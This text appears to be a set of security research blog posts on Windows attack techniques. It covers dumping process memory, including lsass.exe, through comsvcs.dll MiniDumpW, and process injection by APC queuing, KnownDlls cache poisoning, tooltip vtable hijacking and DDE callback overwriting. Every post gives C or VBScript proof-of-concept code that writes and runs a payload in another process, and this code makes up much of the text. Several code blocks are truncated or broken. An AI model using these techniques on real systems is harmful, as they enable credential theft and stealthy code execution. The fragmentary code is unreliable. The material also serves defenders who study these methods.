MiniDumpWriteDump via COM+ Services DLL


This will be a very quick code-oriented post about a DLL function exported by comsvcs.dll that I was unable to find any reference to online.

UPDATE: Memory Dump Analysis Anthology Volume 1 that was published in 2008 by Dmitry Vostokov, discusses this function in a chapter on COM+ Crash Dumps. The reason I didn’t find it before is because I was searching for “MiniDumpW” and not “MiniDump”.

While searching for DLL/EXE that imported DBGHELP!MiniDumpWriteDump, I discovered comsvcs.dll exports a function called MiniDumpW which appears to have been designed specifically for use by rundll32. It will accept three parameters but the first two are ignored. The third parameter should be a UNICODE string combining three tokens/parameters wrapped in quotation marks. The first is the process id, the second is where to save the memory dump and third requires the keyword “full” even though there’s no alternative for this last parameter.

To use from the command line, type the following: "rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"" where “1234” is the target process to dump. Obviously, this assumes you have permission to query and read the memory of target process. If COMSVCS!MiniDumpW encounters an error, it simply calls KERNEL32!ExitProcess and you won’t see anything. The following code in C demonstrates how to invoke it dynamically.

BTW, HRESULT is probably the wrong return type. Internally it exits the process with E_INVALIDARG if it encounters a problem with the parameters, but if it succeeds, it returns 1. S_OK is defined as 0.

#define UNICODE
#include <windows.h>
#include <stdio.h>

typedef HRESULT (WINAPI *_MiniDumpW)(
  DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)(
  ULONG Privilege, BOOL Enable, 
  BOOL CurrentThread, PULONG Enabled);

// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t *argv[]) {
    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;
    MiniDumpW          = (_MiniDumpW)GetProcAddress(
      LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
      GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    if(MiniDumpW == NULL) {
      printf("Unable to resolve COMSVCS!MiniDumpW.\n");
      return 0;
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
    // dump process
    MiniDumpW(0, 0,  argv[1]);
    return 0;

Since neither rundll32 nor comsvcs!MiniDumpW will enable the debugging privilege required to access lsass.exe, the following VBscript will work in an elevated process.

Option Explicit

Const SW_HIDE = 0

If (WScript.Arguments.Count <> 1) Then
    WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
    WScript.StdOut.WriteLine("Usage: procdump <process>")
    Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
    ' get process id or name
    pid = WScript.Arguments(0)
    ' connect with debug privilege
    Set fso  = CreateObject("Scripting.FileSystemObject")
    Set svc  = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
    ' if not a number
    If(Not IsNumeric(pid)) Then
      query = "Name"
      query = "ProcessId"
    End If
    ' try find it
    Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
      query & " = '" & pid & "'")
    If (list.Count = 0) Then
      WScript.StdOut.WriteLine("Can't find active process : " & pid)
    End If

    For Each proc in list
      pid = proc.ProcessId
      str = proc.Name
      Exit For

    dmp = fso.GetBaseName(str) & ".bin"
    ' if dump file already exists, try to remove it
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Removing " & dmp)
    End If
    WScript.StdOut.WriteLine("Attempting to dump memory from " & _
      str & ":" & pid & " to " & dmp)
    Set proc       = svc.Get("Win32_Process")
    Set startup    = svc.Get("Win32_ProcessStartup")
    Set cfg        = startup.SpawnInstance_
    cfg.ShowWindow = SW_HIDE

    cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
          pid & " " & fso.GetAbsolutePathName(".") & "\" & _
          dmp & " full"
    Call proc.Create (cmd, null, cfg, pid)
    ' sleep for a second
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Memory saved to " & dmp)
      WScript.StdOut.WriteLine("Something went wrong.")
    End If
End If

Run from elevated cmd prompt.

No idea how useful this could be, but since it’s part of the operating system, it’s probably worth knowing anyway. Perhaps you will find similar functions in signed binaries that perform memory dumping of a target process. 🙂

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Windows Process Injection: Asynchronous Procedure Call (APC)


An early example of APC injection can be found in a 2005 paper by the late Barnaby Jack called Remote Windows Kernel Exploitation – Step into the Ring 0. Until now, these posts have focused on relatively new, lesser-known injection techniques. A factor in not covering APC injection before is the lack of a single user-mode API to identify alertable threads. Many have asked “how to identify an alertable thread” and were given an answer that didn’t work or were told it’s not possible. This post will examine two methods that both use a combination of user-mode API to identify them. The first was described in 2016 and the second was suggested earlier this month at Blackhat and Defcon.

Alertable Threads

A number of Windows API and the underlying system calls support asynchronous operations and specifically I/O completion routines.. A boolean parameter tells the kernel a calling thread should be alertable, so I/O completion routines for overlapped operations can still run in the background while waiting for some other event to become signalled. Completion routines or callback functions are placed in the APC queue and executed by the kernel via NTDLL!KiUserApcDispatcher. The following Win32 API can set threads to alertable.

A few others rarely mentioned involve working with files or named pipes that might be read or written to using overlapped operations. e.g ReadFile.

Unfortunately, there’s no single user-mode API to determine if a thread is alertable. From the kernel, the KTHREAD structure has an Alertable bit, but from user-mode there’s nothing similar, at least not that I’m aware of.

Method 1

First described and used by Tal Liberman in a technique he invented called AtomBombing.

…create an event for each thread in the target process, then ask each thread to set its corresponding event. … wait on the event handles, until one is triggered. The thread whose corresponding event was triggered is an alertable thread.

Based on this description, we take the following steps:

  1. Enumerate threads in a target process using Thread32First and Thread32Next. OpenThread and save the handle to an array not exceeding MAXIMUM_WAIT_OBJECTS.
  2. CreateEvent for each thread and DuplicateHandle for the target process.
  3. QueueUserAPC for each thread that will execute SetEvent on the handle duplicated in step 2.
  4. WaitForMultipleObjects until one of the event handles becomes signalled.
  5. The first event signalled is from an alertable thread.

MAXIMUM_WAIT_OBJECTS is defined as 64 which might seem like a limitation, but how likely is it for processes to have more than 64 threads and not one alertable?

HANDLE find_alertable_thread1(HANDLE hp, DWORD pid) {
    DWORD         i, cnt = 0;
    HANDLE        evt[2], ss, ht, h = NULL, 
    HMODULE       m;
    LPVOID        f, rm;
    // 1. Enumerate threads in target process
    ss = CreateToolhelp32Snapshot(
      TH32CS_SNAPTHREAD, 0);
    if(ss == INVALID_HANDLE_VALUE) return NULL;

    te.dwSize = sizeof(THREADENTRY32);
    if(Thread32First(ss, &te)) {
      do {
        // if not our target process, skip it
        if(te.th32OwnerProcessID != pid) continue;
        // if we can't open thread, skip it
        ht = OpenThread(
        if(ht == NULL) continue;
        // otherwise, add to list
        hl[cnt++] = ht;
        // if we've reached MAXIMUM_WAIT_OBJECTS. break
        if(cnt == MAXIMUM_WAIT_OBJECTS) break;
      } while(Thread32Next(ss, &te));

    // Resolve address of SetEvent
    m  = GetModuleHandle(L"kernel32.dll");
    f  = GetProcAddress(m, "SetEvent");
    for(i=0; i<cnt; i++) {
      // 2. create event and duplicate in target process
      sh[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
        GetCurrentProcess(),  // source process
        sh[i],                // source handle to duplicate
        hp,                   // target process
        &th[i],               // target handle
      // 3. Queue APC for thread passing target event handle
      QueueUserAPC(f, hl[i], (ULONG_PTR)th[i]);

    // 4. Wait for event to become signalled
    i = WaitForMultipleObjects(cnt, sh, FALSE, 1000);
    if(i != WAIT_TIMEOUT) {
      // 5. save thread handle
      h = hl[i];
    // 6. Close source + target handles
    for(i=0; i<cnt; i++) {
      if(hl[i] != h) CloseHandle(hl[i]);
    return h;

Method 2

At Blackhat and Defcon 2019, Itzik Kotler and Amit Klein presented Process Injection Techniques – Gotta Catch Them All. They suggested alertable threads can be detected by simply reading the context of a remote thread and examining the control and integer registers. There’s currently no code in their pinjectra tool to perform this, so I decided to investigate how it might be implemented in practice.

If you look at the disassembly of KERNELBASE!SleepEx on Windows 10 (shown in figure 1), you can see it invokes the NT system call, NTDLL!ZwDelayExecution.

Figure 1. Disassembly of SleepEx on Windows 10.

The system call wrapper (shown in figure 2) executes a syscall instruction which transfers control from user-mode to kernel-mode. If we read the context of a thread that called KERNELBASE!SleepEx, the program counter (Rip on AMD64) should point to NTDLL!ZwDelayExecution + 0x14 which is the address of the RETN opcode.

Figure 2. Disassembly of NTDLL!ZwDelayExecution on Windows 10.

This address can be used to determine if a thread has called KERNELBASE!SleepEx. To calculate it, we have two options. Add a hardcoded offset to the address returned by GetProcAddress for NTDLL!ZwDelayExecution or read the program counter after calling KERNELBASE!SleepEx from our own artificial thread.

For the second option, a simple application was written to run a thread and call asynchronous APIs with alertable parameter set to TRUE. In between each invocation, GetThreadContext is used to read the program counter (Rip on AMD64) which will hold the return address after the system call has completed. This address can then be used in the first step of detection. Figure 3 shows output of this.

Figure 3. Win32 API and NT System Call Wrappers.

The following table matches Win32 APIs with NT system call wrappers. The parameters are included for reference.

Win32 API NT System Call
SleepEx ZwDelayExecution(BOOLEAN Alertable, PLARGE_INTEGER DelayInterval);
ZwWaitForSingleObject(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
NtWaitForMultipleObjects(ULONG ObjectCount, PHANDLE ObjectsArray, OBJECT_WAIT_TYPE WaitType, DWORD Timeout, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
SignalObjectAndWait NtSignalAndWaitForSingleObject(HANDLE SignalHandle, HANDLE WaitHandle, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
MsgWaitForMultipleObjectsEx NtUserMsgWaitForMultipleObjectsEx(ULONG ObjectCount, PHANDLE ObjectsArray, DWORD Timeout, DWORD WakeMask, DWORD Flags);
GetQueuedCompletionStatusEx NtRemoveIoCompletionEx(HANDLE Port, FILE_IO_COMPLETION_INFORMATION *Info, ULONG Count, ULONG *Written, LARGE_INTEGER *Timeout, BOOLEAN Alertable);

The second step of detection involves reading the register that holds the Alertable parameter. NT system calls use the Microsoft fastcall convention. The first four arguments are placed in RCX, RDX, R8 and R9 with the remainder stored on the stack. Figure 4 shows the Win64 stack layout. The first index of the stack register (Rsp) will contain the return address of caller, the next four will be the shadow, spill or home space to optionally save RCX, RDX, R8 and R9. The fifth, sixth and subsequent arguments to the system call appear after this.

Figure 4. Win64 Stack Layout.

Based on the prototypes shown in the above table, to determine if a thread is alertable, verify the register holding the Alertable parameter is TRUE or FALSE. The following code performs this.

BOOL IsAlertable(HANDLE hp, HANDLE ht, LPVOID addr[6]) {
    CONTEXT   c;
    BOOL      alertable = FALSE;
    DWORD     i;
    ULONG_PTR p[8];
    SIZE_T    rd;
    // read the context
    GetThreadContext(ht, &c);
    // for each alertable function
    for(i=0; i<6 && !alertable; i++) {
      // compare address with program counter
      if((LPVOID)c.Rip == addr[i]) {
        switch(i) {
          // ZwDelayExecution
          case 0 : {
            alertable = (c.Rcx & TRUE);
          // NtWaitForSingleObject
          case 1 : {
            alertable = (c.Rdx & TRUE);
          // NtWaitForMultipleObjects
          case 2 : {
            alertable = (c.Rsi & TRUE);
          // NtSignalAndWaitForSingleObject
          case 3 : {
            alertable = (c.Rsi & TRUE);
          // NtUserMsgWaitForMultipleObjectsEx
          case 4 : {
            ReadProcessMemory(hp, (LPVOID)c.Rsp, p, sizeof(p), &rd);
            alertable = (p[5] & MWMO_ALERTABLE);
          // NtRemoveIoCompletionEx
          case 5 : {
            ReadProcessMemory(hp, (LPVOID)c.Rsp, p, sizeof(p), &rd);
            alertable = (p[6] & TRUE);
    return alertable;

You might be asking why Rsi is checked for two of the calls despite not being used for a parameter by the Microsoft fastcall convention. This is a callee saved non-volatile register that should be preserved by any function that uses it. RCX, RDX, R8 and R9 are volatile registers and don’t need to be preserved. It just so happens the kernel overwrites R9 for NtWaitForMultipleObjects (shown in figure 5) and R8 for NtSignalAndWaitForSingleObject (shown in figure 6) hence the reason for checking Rsi instead. BOOLEAN is defined as an 8-bit type, so a mask of the register is performed before comparing with TRUE or FALSE.

Figure 5. Rsi used for Alertable Parameter to NtWaitForMultipleObjects.

Figure 6. Rsi used to for Alertable parameter to NtSignalAndWaitForSingleObject.

The following code can support adding an offset or reading the thread context before enumerating threads.

// thread to run alertable functions
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
    HANDLE           *evt = (HANDLE)lpParameter;
    HANDLE           port;
    DWORD            n;
    SleepEx(INFINITE, TRUE);
    WaitForSingleObjectEx(evt[0], INFINITE, TRUE);
    WaitForMultipleObjectsEx(2, evt, FALSE, INFINITE, TRUE);
    SignalObjectAndWait(evt[1], evt[0], INFINITE, TRUE);
    MsgWaitForMultipleObjectsEx(2, evt, 
    port = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
    GetQueuedCompletionStatusEx(port, &lap, 1, &n, INFINITE, TRUE);
    return 0;

HANDLE find_alertable_thread2(HANDLE hp, DWORD pid) {
    HANDLE        ss, ht, evt[2], h = NULL;
    LPVOID        rm, sevt, f[6];
    SIZE_T        rd;
    DWORD         i;
    CONTEXT       c;
    ULONG_PTR     p;
    HMODULE       m;
    // using the offset requires less code but it may
    // not work across all systems.
    char *api[6]={
    // 1. Resolve address of alertable functions
    for(i=0; i<6; i++) {
      m = GetModuleHandle(i == 4 ? L"win32u" : L"ntdll");
      f[i] = (LPBYTE)GetProcAddress(m, api[i]) + 0x14;
    // create thread to execute alertable functions
    evt[0] = CreateEvent(NULL, FALSE, FALSE, NULL);
    evt[1] = CreateEvent(NULL, FALSE, FALSE, NULL);
    ht     = CreateThread(NULL, 0, ThreadProc, evt, 0, NULL);
    // wait a moment for thread to initialize
    // resolve address of SetEvent
    m      = GetModuleHandle(L"kernel32.dll");
    sevt   = GetProcAddress(m, "SetEvent");
    // for each alertable function
    for(i=0; i<6; i++) {
      // read the thread context
      c.ContextFlags = CONTEXT_CONTROL;
      GetThreadContext(ht, &c);
      // save address
      f[i] = (LPVOID)c.Rip;
      // queue SetEvent for next function
      QueueUserAPC(sevt, ht, (ULONG_PTR)evt);
    // cleanup thread

    // Create a snapshot of threads
    ss = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if(ss == INVALID_HANDLE_VALUE) return NULL;
    // check each thread
    te.dwSize = sizeof(THREADENTRY32);
    if(Thread32First(ss, &te)) {
      do {
        // if not our target process, skip it
        if(te.th32OwnerProcessID != pid) continue;
        // if we can't open thread, skip it
        ht = OpenThread(
        if(ht == NULL) continue;
        // found alertable thread?
        if(IsAlertable(hp, ht, f)) {
          // save handle and exit loop
          h = ht;
        // else close it and continue
      } while(Thread32Next(ss, &te));
    // close snap shot
    return h;


Although both methods work fine, the first has some advantages. Different CPU modes/architectures (x86, AMD64, ARM64) and calling conventions (__msfastcall/__stdcall) require different ways to examine parameters. Microsoft may change how the system call wrapper functions work and therefore hardcoded offsets may point to the wrong address. The compiled code in future builds may decide to use another non-volatile register to hold the alertable parameter. e.g RBX, RDI or RBP.


After the difficult part of detecting alertable threads, the rest is fairly straight forward. The two main functions used for APC injection are:

The second is undocumented and therefore used by some threat actors to bypass API monitoring tools. Since KiUserApcDispatcher is used for APC routines, one might consider invoking it instead. The prototypes are:

NTSTATUS NtQueueApcThread(
  IN  HANDLE ThreadHandle,
  IN  PVOID ApcRoutine,
  IN  PVOID ApcRoutineContext OPTIONAL,
  IN  PVOID ApcStatusBlock OPTIONAL,
  IN  ULONG ApcReserved OPTIONAL);

VOID KiUserApcDispatcher(
  IN  PCONTEXT Context,
  IN  PVOID ApcContext,
  IN  PVOID Argument1,
  IN  PVOID Argument2,

For this post, only QueueUserAPC is used.

VOID apc_inject(DWORD pid, LPVOID payload, DWORD payloadSize) {
    HANDLE hp, ht;
    SIZE_T wr;
    LPVOID cs;
    // 1. Open target process
    hp = OpenProcess(
      PROCESS_VM_READ    | 
      FALSE, pid);
    if(hp == NULL) return;
    // 2. Find an alertable thread
    ht = find_alertable_thread1(hp, pid);

    if(ht != NULL) {
      // 3. Allocate memory
      cs = VirtualAllocEx(
      if(cs != NULL) {
        // 4. Write code to memory
          // 5. Run code
          QueueUserAPC(cs, ht, 0);
        } else {
          printf("unable to write payload to process.\n");
        // 6. Free memory
      } else {
        printf("unable to allocate memory.\n");
    } else {
      printf("unable to find alertable thread.\n");
    // 7. Close process

PoC here

Posted in assembly, injection, malware, process injection, programming, shellcode, windows | Tagged , , , | Leave a comment

Windows Process Injection: KnownDlls Cache Poisoning


This is a quick post in response to a method of injection described by James Forshaw in Bypassing CIG Through KnownDlls. The first example of poisoning the KnownDlls cache on Windows can be sourced back to a security advisory CVE-1999-0376 or MS99-066 published in February 1999. That vulnerability was discovered by Christien Rioux from the hacker group, L0pht. The PoC he released to demonstrate the attack became the basis for other projects involving DLL injection and function hooking. For example, Injection into a Process Using KnownDlls published in 2012 is heavily based on dildog’s original source code. What’s interesting about the injection method described by James is that it doesn’t read or write to virtual memory, something that’s required for almost every method of process injection known. It works by replacing a directory handle in a target process which is then used by the DLL loader to load a malicious DLL. Very clever! 🙂 Other posts related to this topic also worth reading:

If you want a closer look at the Windows Object Manager, WinObj from Microsoft is useful as is NtObjectManager.

Figure 1. KnownDlls in WinObj

Obtaining KnownDlls Directory Object Handle

As James points out, there are at least two ways to do this.

Method 1

The handle is stored in a global variable called ntdll!LdrpKnownDllDirectoryHandle (shown in figure 2) and can be found by searching the .data segment of NTDLL. Once the address is found, one can read the existing handle or overwrite it with a new one.

Figure 2. ntdll!LdrpKnownDllDirectoryHandle

The following code implements this method. The base address is constant for each process and therefore not necessary to read from a remote process.

LPVOID GetKnownDllHandle(DWORD pid) {
    LPVOID                   m, va = NULL;
    PIMAGE_DOS_HEADER        dos;
    PIMAGE_NT_HEADERS        nt;
    DWORD                    i, cnt;
    PULONG_PTR               ds;
    BYTE                     buf[1024];

    // get base of NTDLL and pointer to section header
    m   = GetModuleHandle(L"ntdll.dll");
    dos = (PIMAGE_DOS_HEADER)m;  
    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  
    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
    // locate the .data segment, save VA and number of pointers
    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
      if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
    // for each pointer
    for(i=0; i<cnt; i++) {
      if((LPVOID)ds[i] == NULL) continue;
      // query the object name
        ObjectNameInformation, n, MAX_PATH, NULL);
      // string returned?
      if(n->Name.Length != 0) {
        // does it match ours?
        if(!lstrcmp(n->Name.Buffer, L"\\KnownDlls")) {
          // return virtual address
          va = &ds[i];
    return va;

Method 2

The SystemHandleInformation class passed to NtQuerySystemInformation will return a list of all handles open on the system. To target a speicific process, we compare the UniqueProcessId from each SYSTEM_HANDLE_TABLE_ENTRY_INFO structure with the target PID. The HandleValue is duplicated and the name is queried. This name is then compared with “\KnownDlls” and if a match is found, HandleValue is returned to the caller.

HANDLE GetKnownDllHandle2(DWORD pid, HANDLE hp) {
    ULONG                      len;
    NTSTATUS                   nts;
    LPVOID                     list=NULL;    
    DWORD                      i;
    HANDLE                     obj, h = NULL;
    BYTE                       buf[1024];
    // read the full list of system handles
    for(len = 8192; ;len += 8192) {
      list = malloc(len);
      nts = NtQuerySystemInformation(
          SystemHandleInformation, list, len, NULL);
      // break from loop if ok    
      if(NT_SUCCESS(nts)) break;
      // free list and continue

    // for each handle
    for(i=0; i<hl->NumberOfHandles && h == NULL; i++) {
      // skip these to avoid hanging process
      if((hl->Handles[i].GrantedAccess == 0x0012019f) || 
         (hl->Handles[i].GrantedAccess == 0x001a019f) || 
         (hl->Handles[i].GrantedAccess == 0x00120189) || 
         (hl->Handles[i].GrantedAccess == 0x00100000)) {

      // skip if this handle not in our target process
      if(hl->Handles[i].UniqueProcessId != pid) {
      // duplicate the handle object
      nts = NtDuplicateObject(
            hp, (HANDLE)hl->Handles[i].HandleValue, 
            GetCurrentProcess(), &obj, 0, FALSE, 
      if(NT_SUCCESS(nts)) {
        // query the name
          obj, ObjectNameInformation, 
          name, MAX_PATH, NULL);
        // if name returned.. 
        if(name->Name.Length != 0) {
          // is it knowndlls directory?
          if(!lstrcmp(name->Name.Buffer, L"\\KnownDlls")) {
            h = (HANDLE)hl->Handles[i].HandleValue;
    return h;


The following code is purely based on the steps described in the article and in its current state will cause a target process to stop working properly. That’s why the PoC creates a process (notepad) before attempting injection rather than allowing selection of a process.

VOID knowndll_inject(DWORD pid, PWCHAR fake_dll, PWCHAR target_dll) {
    NTSTATUS          nts;
    DWORD             i;
    HANDLE            hp, hs, hf, dir, target_handle;
    OBJECT_ATTRIBUTES fa, da, sa;
    UNICODE_STRING    fn, dn, sn, ntpath;
    IO_STATUS_BLOCK   iosb;

    // open process for duplicating handle, suspending/resuming process
    // 1. Get the KnownDlls directory object handle from remote process
    target_handle = GetKnownDllHandle2(pid, hp);

    // 2. Create empty object directory, insert named section of DLL to hijack
    //    using file handle of DLL to inject    
    InitializeObjectAttributes(&da, NULL, 0, NULL, NULL);
    nts = NtCreateDirectoryObject(&dir, DIRECTORY_ALL_ACCESS, &da);
    // 2.1 open the fake DLL
    RtlDosPathNameToNtPathName_U(fake_dll, &fn, NULL, NULL);
    InitializeObjectAttributes(&fa, &fn, OBJ_CASE_INSENSITIVE, NULL, NULL);
    nts = NtOpenFile(
      &fa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, 0);
    // 2.2 create named section of target DLL using fake DLL image
    RtlInitUnicodeString(&sn, target_dll);
    InitializeObjectAttributes(&sa, &sn, OBJ_CASE_INSENSITIVE, dir, NULL);
    nts = NtCreateSection(
      &hs, SECTION_ALL_ACCESS, &sa, 
    // 3. Close the known DLLs handle in remote process
    DuplicateHandle(hp, target_handle, 
      GetCurrentProcess(), NULL, 0, TRUE, DUPLICATE_CLOSE_SOURCE);
    // 4. Duplicate object directory for remote process
        GetCurrentProcess(), dir, hp, 
    printf("Select File->Open to load \"%ws\" into notepad.\n", fake_dll);
    printf("Press any key to continue...\n");


Figure 3 shows a message box displayed after the hijacked DLL (ole32.dll) is loaded.

Figure 3. Injection in notepad.

PoC here.

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Windows Process Injection: Tooltip or Common Controls


Tooltips appear automatically to a mouse pointer hovering over an element in a user interface. This helps users identify the purpose of a file, a button or menu item. These tooltips store data about itself in a structure located at index zero of the Window Bytes. The first entry in the structure is a pointer to a class object called CToolTipsMgr. There are at least five methods here, three for the IUnknown interface which CToolTipsMgr inherits from and two to control the tooltip object itself. By changing the address of a method/function pointer, it’s possible to perform process injection via a window message.

Locating Controls

Figure 1 shows the properties of a tooltip control window.

Figure 1. Window properties for tooltip class.

As you can see, index zero of the window bytes are set to a value. This is a heap object that contains among other things, a pointer to a class object or virtual function table at offset zero. Figure 2 shows a partial dump of the memory in Windows Debugger while figure 3 shows the methods of the class used to control the window.

Figure 2. Heap object for window.

Figure 3. Methods of tool tip control window.

The PoC doesn’t target any specific process, but since explorer.exe will likely be the first to create a Tooltip control, it’s relatively safe to assume a window belonging to that process will be returned by a call to the FindWindow API for classes named “tooltips_class32”. You could also use the EnumWindows API to find them all and target a specific process. Figure 4 shows a list of these classes found on a 64-bit version of Windows 10.

Figure 4. List of tooltip windows found via EnumWindows.


The following code demonstrates the injection works. The full version can be found here.

VOID comctrl_inject(LPVOID payload, DWORD payloadSize) {
    HWND         hw = 0;
    SIZE_T       rd, wr;
    LPVOID       ds, cs, p, ptr;
    HANDLE       hp;
    DWORD        pid;
    IUnknown_VFT unk;
    // 1. find a tool tip window.
    //    read index zero of window bytes
    hw = FindWindow(L"tooltips_class32", NULL);
    p  = (LPVOID)GetWindowLongPtr(hw, 0);
    GetWindowThreadProcessId(hw, &pid);
    // 2. open the process and read CToolTipsMgr
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hp == NULL) return;
    ReadProcessMemory(hp, p, &ptr, sizeof(ULONG_PTR), &rd);
    ReadProcessMemory(hp, ptr, &unk, sizeof(unk), &rd);
    //printf("HWND : %p Heap : %p PID : %i vftable : %p\n", 
      // hw, p, pid, ptr);
    // 3. allocate RWX memory and write payload there.
    //    update callback
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 4. allocate RW memory and write new CToolTipsMgr
    unk.AddRef = cs;
    ds = VirtualAllocEx(hp, NULL, sizeof(unk),
    WriteProcessMemory(hp, ds, &unk, sizeof(unk), &wr);
    // 5. update pointer, trigger execution
    WriteProcessMemory(hp, p, &ds, sizeof(ULONG_PTR), &wr);
    PostMessage(hw, WM_USER, 0, 0);

    // sleep for moment
    // 6. restore original pointer and cleanup
    WriteProcessMemory(hp, p, &ptr, sizeof(ULONG_PTR), &wr);    
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);


The PoC only works with Tooltip class, but there are other controls that can also be used for process injection. Tab controls, progress bars, status bars, tree views, toolbars, list views are just some other examples. The reason tooltips were used in this post is because many of them are already created by explorer.exe.

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Windows Process Injection: Breaking BaDDEr


Dynamic Data Exchange (DDE) is a data sharing protocol while the Dynamic Data Exchange Management Library (DDEML) facilitates sharing of data among applications over the DDE protocol. DDE made the headlines in October 2017 after a vulnerability was discovered in Microsoft Office that could be exploited to execute code. Since then, it’s been disabled by default and is therefore not considered a critical component. The scope of this injection method is limited to explorer.exe, unless of course you know of other applications that use it. I’d like to thank Adam for the discussion about using DDE for injection and also the cheesy name. 😀

Enumerating DDE Servers

The only DLL that use DDE servers on Windows 10 are shell32.dll, ieframe.dll and twain_32.dll. shell32.dll creates three DDE servers that are hosted by explorer.exe. The following code uses DDEML API to list servers and the process hosting them.

VOID dde_list(VOID) {
    HCONVLIST   cl;
    DWORD       idInst = 0;
    HCONV       c = NULL;
    CONVINFO    ci;
    WCHAR       server[MAX_PATH];
    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {
      printf("unable to initialize : %i.\n", GetLastError());
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    if(cl != NULL) {
      for(;;) {
        c = DdeQueryNextServer(cl, c);
        if(c == NULL) break;
        ci.cb = sizeof(ci);
        DdeQueryConvInfo(c, QID_SYNC, &ci);
        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);
        printf("Service : %-10ws Process : %ws\n", 
          server, wnd2proc(ci.hwndPartner));
    } else {
      printf("DdeConnectList : %x\n", DdeGetLastError(idInst));

DDE Internals

Figure 1 shows the decompiled code where the servers are created.

Figure 1. DDE initialization in shell32.dll

user32!DdeInitializeW is where all the interesting stuff occurs. user32!InternalDdeInitialize will allocate memory on the heap for a structure called CL_INSTANCE_INFO which isn’t documented in the public SDK, but you can still find it online.

typedef struct tagCL_INSTANCE_INFO {
    struct tagCL_INSTANCE_INFO *next;
    HANDLE                      hInstServer;
    HANDLE                      hInstClient;
    DWORD                       MonitorFlags;
    HWND                        hwndMother;
    HWND                        hwndEvent;
    HWND                        hwndTimeout;
    DWORD                       afCmd;
    PFNCALLBACK                 pfnCallback;
    DWORD                       LastError;
    DWORD                       tid;
    LATOM                      *plaNameService;
    WORD                        cNameServiceAlloc;
    PSERVER_LOOKUP              aServerLookup;
    short                       cServerLookupAlloc;
    WORD                        ConvStartupState;
    WORD                        flags;              // IIF_ flags
    short                       cInDDEMLCallback;
    PLINK_COUNT                 pLinkCount;

The only field we’re interested in is pfnCallback. The steps to inject are:

  1. Find the DDE mother window by its registered class name “DDEMLMom”.
  2. Read the address of CL_INSTANCE_INFO using GetWindowLongPtr.
  3. Allocate RWX memory in remote process and write payload there.
  4. Overwrite the function pointer pfncallback with the remote address of payload.
  5. Trigger execution over DDE.

Figure 2 shows the properties of the mother window. As you can see, index zero of the Window Bytes is set. This is the address of CL_INSTANCE_INFO.

Figure 2. Mother Window for DDE server.


The following is a PoC to demonstrate the method works. Full source can be found here.

VOID dde_inject(LPVOID payload, DWORD payloadSize) {
    HWND             hw;
    SIZE_T           rd, wr;
    LPVOID           ptr, cs;
    HANDLE           hp;
    CONVCONTEXT      cc;
    HCONVLIST        cl;
    DWORD            pid, idInst = 0;
    // 1. find a DDEML window and read the address 
    //    of CL_INSTANCE_INFO
    hw = FindWindowEx(NULL, NULL, L"DDEMLMom", NULL);
    if(hw == NULL) return;
    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);
    if(ptr == NULL) return;
    // 2. open the process and read CL_INSTANCE_INFO
    GetWindowThreadProcessId(hw, &pid);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hp == NULL) return;
    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);
    // 3. allocate RWX memory and write payload there.
    //    update callback
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &cs, sizeof(ULONG_PTR), &wr);
    // 4. trigger execution via DDE protocol
    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    // 5. restore original pointer and cleanup
      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);
